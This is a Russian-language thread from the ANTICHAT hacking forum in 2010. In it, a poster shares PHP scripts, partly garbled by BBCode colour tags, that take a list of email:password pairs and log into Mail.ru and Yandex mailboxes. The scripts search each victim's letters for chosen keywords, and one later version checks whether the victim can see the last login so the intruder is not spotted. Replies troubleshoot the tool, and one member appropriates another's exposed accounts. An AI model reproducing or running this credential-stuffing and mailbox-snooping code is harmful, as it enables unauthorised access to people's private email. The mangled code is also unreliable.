HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.09.2010, 03:25
Unknown
Guest
Сообщений: n/a
Провел на форуме:
20670

Репутация: 10
По умолчанию

Mail.ru/Yandex.ru letters finder

[PHP]
PHP:
PHP код:
[COLOR="#0000BB"]По запросу<font color="#000000">

Вот написал тут.

Суть такова(с):

Вы отдаете ей на съеденье   список mail;pass и задаете с  исок слов, которые надо и  скать в письмах.

Ну и на выходе список сов  падений.

</
font>[COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]найдено[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$letters[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]письмо(а/ем)

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);;

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]"

"
[/COLOR][COLOR="#007700"];

}

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}
else {

echo[/COLOR][COLOR="#DD0000"]"По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]писем не найдено"[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"users.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];

while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Password contains ;
"
[/COLOR][COLOR="#007700"];

continue;

}

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

if([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]){

echo[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#DD0000"]@[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]= Array([/COLOR][COLOR="#DD0000"]"и раз"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и двас"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и трис"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и n-c"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]mail_search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);

}

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR] 
[/COLOR]
PHP код:
 
Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.

ЗЫ

Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа

ЗЫЫ

Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.[/B]
 
Ответить с цитированием

  #2  
Старый 28.09.2010, 05:02
HIMIKAT
Участник форума
Регистрация: 12.01.2007
Сообщений: 117
Провел на форуме:
795261

Репутация: 28
По умолчанию

Планируешь улучшать только в виде php, вариант с приложением рассматривается? Хотя такое приложение я уже где-то видел.
 
Ответить с цитированием

  #3  
Старый 28.09.2010, 13:50
Unknown
Guest
Сообщений: n/a
Провел на форуме:
20670

Репутация: 10
По умолчанию

Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал.

Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]найдено[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$letters[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]письмо(а/ем)

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);;

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]"

"
[/COLOR][COLOR="#007700"];

}

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}
else {

echo[/COLOR][COLOR="#DD0000"]"По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]писем не найдено"[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"users.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

if(![/
COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])

die([/COLOR][COLOR="#DD0000"]"File opennig error!
"
[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Password contains ;
"
[/COLOR][COLOR="#007700"];

continue;

}

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

if([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]){

echo[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#DD0000"]@[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$SEC_DETECT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]// Ваш адрес сейчас:ПАЛЕВО ПАЦАНЫ!!!!111
"[/COLOR][COLOR="#007700"];

}

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

foreach([/
COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]mail_search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);

}

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
 
Ответить с цитированием

  #4  
Старый 01.10.2010, 16:41
dpe_x
Guest
Сообщений: n/a
Провел на форуме:
59751

Репутация: 14
По умолчанию

Код:
Code:
Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/d/dpe2.h1.ru/WWW/Lettersfinder.php on line 77  Couldn't open socket!
Ошибка.

В чем проблема ?
 
Ответить с цитированием

  #5  
Старый 01.10.2010, 17:30
Unknown
Guest
Сообщений: n/a
Провел на форуме:
20670

Репутация: 10
По умолчанию

Скорее всего что то с сервером, на котором запускается. Попробуй на своем. У меня брут тоже запахал только на своем сервере
 
Ответить с цитированием

  #6  
Старый 01.10.2010, 17:48
waik
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722

Репутация: 155
По умолчанию

dpe_x там веть по русски написано что не может открыть сокет.

У тебя их на таком домене нету.

Ищи другой домен или запускай со своего ПК.

А раз ты свои акки выложил на всеобщее обозрение то я их пожалуй возьму.Вот тут акки:

Цитата:
Сообщение от None  
http://dpe2.h1.ru/Lettersfinder.php
 
Ответить с цитированием

  #7  
Старый 01.10.2010, 18:42
dpe_x
Guest
Сообщений: n/a
Провел на форуме:
59751

Репутация: 14
По умолчанию

бери это подарок.
 
Ответить с цитированием

  #8  
Старый 03.10.2010, 18:17
Unknown
Guest
Сообщений: n/a
Провел на форуме:
20670

Репутация: 10
По умолчанию

Написал нечто подобное для Yandex + чекер бабоса:

http_chunked_decode.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
ClassYandexFinder.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"passport.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);

if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"login=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]&passwd=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST /passport?mode=auth HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-type: application/x-www-form-urlencoded\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: passport.yandex.ru\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]Bad server response!
"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

if ([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#0000BB"]302[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Incorrect user/password!
"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Set-Cookie: (Session_id=[^;]+)|"[/COLOR][COLOR="#007700"];

if(![/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"])) {

echo[/COLOR][COLOR="#DD0000"]"Incorrect cookie!
"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

echo[/COLOR][COLOR="#DD0000"]"Success!
"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);

}

public function[/COLOR][COLOR="#0000BB"]SearchLetters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]){

if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]){

echo[/COLOR][COLOR="#DD0000"]"Please login
"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"mail.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);

if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"GET /neo/search?addr=from&request=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cookie:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: mail.yandex.ru\r\n\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

